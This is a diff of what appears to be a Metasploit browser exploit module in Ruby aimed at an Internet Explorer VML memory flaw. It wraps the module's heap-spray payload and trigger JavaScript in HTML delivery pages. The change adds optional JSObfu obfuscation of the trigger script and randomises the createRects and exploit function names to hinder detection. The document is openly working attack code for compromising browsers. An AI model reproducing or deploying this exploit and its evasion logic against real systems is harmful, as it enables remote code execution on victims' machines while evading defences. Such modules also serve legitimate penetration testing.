@@ -201,19 +201,7 @@ def load_exploit_html(my_target, cli)
201
201
p = get_payload ( my_target , cli )
202
202
js = ie_heap_spray ( my_target , p )
203
203
204
- html = %Q|
205
- <html>
206
- <head>
207
- <script>
208
- #{ js }
209
- </script>
210
- <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
211
- </head>
212
- <title>
213
- </title>
214
- <style>v\\ : * { behavior:url(#default#VML); display:inline-block }</style>
215
- <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
216
- <script>
204
+ js_trigger = %Q|
217
205
var rect_array = new Array()
218
206
var a = new Array()
219
207
@@ -247,29 +235,47 @@ def load_exploit_html(my_target, cli)
247
235
location.reload();
248
236
249
237
}
250
- </script>
251
- <body onload="createRects(); exploit();">
252
- <v:oval>
253
- <v:stroke id="vml1"/>
254
- </v:oval>
255
- </body>
256
- </html>
257
238
|
258
239
259
- return html
260
- end
240
+ create_rects_func = "createRects"
241
+ exploit_func = "exploit"
242
+
243
+ if datastore [ 'OBFUSCATE' ]
244
+ js_trigger = ::Rex ::Exploitation ::JSObfu . new ( js_trigger )
245
+ js_trigger . obfuscate
246
+ create_rects_func = js_trigger . sym ( "createRects" )
247
+ exploit_func = js_trigger . sym ( "exploit" )
248
+ end
261
249
262
- def html_info_leak
263
250
html = %Q|
264
251
<html>
265
252
<head>
253
+ <script>
254
+ #{ js }
255
+ </script>
266
256
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
267
257
</head>
268
258
<title>
269
259
</title>
270
260
<style>v\\ : * { behavior:url(#default#VML); display:inline-block }</style>
271
261
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
272
262
<script>
263
+ #{ js_trigger }
264
+ </script>
265
+ <body onload="#{ create_rects_func } (); #{ exploit_func } ();">
266
+ <v:oval>
267
+ <v:stroke id="vml1"/>
268
+ </v:oval>
269
+ </body>
270
+ </html>
271
+ |
272
+
273
+ return html
274
+ end
275
+
276
+ def html_info_leak
277
+
278
+ js_trigger = %Q|
273
279
var rect_array = new Array()
274
280
var a = new Array()
275
281
@@ -314,8 +320,31 @@ def html_info_leak
314
320
}
315
321
316
322
}
323
+ |
324
+
325
+ create_rects_func = "createRects"
326
+ exploit_func = "exploit"
327
+
328
+ if datastore [ 'OBFUSCATE' ]
329
+ js_trigger = ::Rex ::Exploitation ::JSObfu . new ( js_trigger )
330
+ js_trigger . obfuscate
331
+ create_rects_func = js_trigger . sym ( "createRects" )
332
+ exploit_func = js_trigger . sym ( "exploit" )
333
+ end
334
+
335
+ html = %Q|
336
+ <html>
337
+ <head>
338
+ <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
339
+ </head>
340
+ <title>
341
+ </title>
342
+ <style>v\\ : * { behavior:url(#default#VML); display:inline-block }</style>
343
+ <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
344
+ <script>
345
+ #{ js_trigger }
317
346
</script>
318
- <body onload="createRects (); exploit ();">
347
+ <body onload="#{ create_rects_func } (); #{ exploit_func } ();">
319
348
<v:oval>
320
349
<v:stroke id="vml1"/>
321
350
</v:oval>
0 commit comments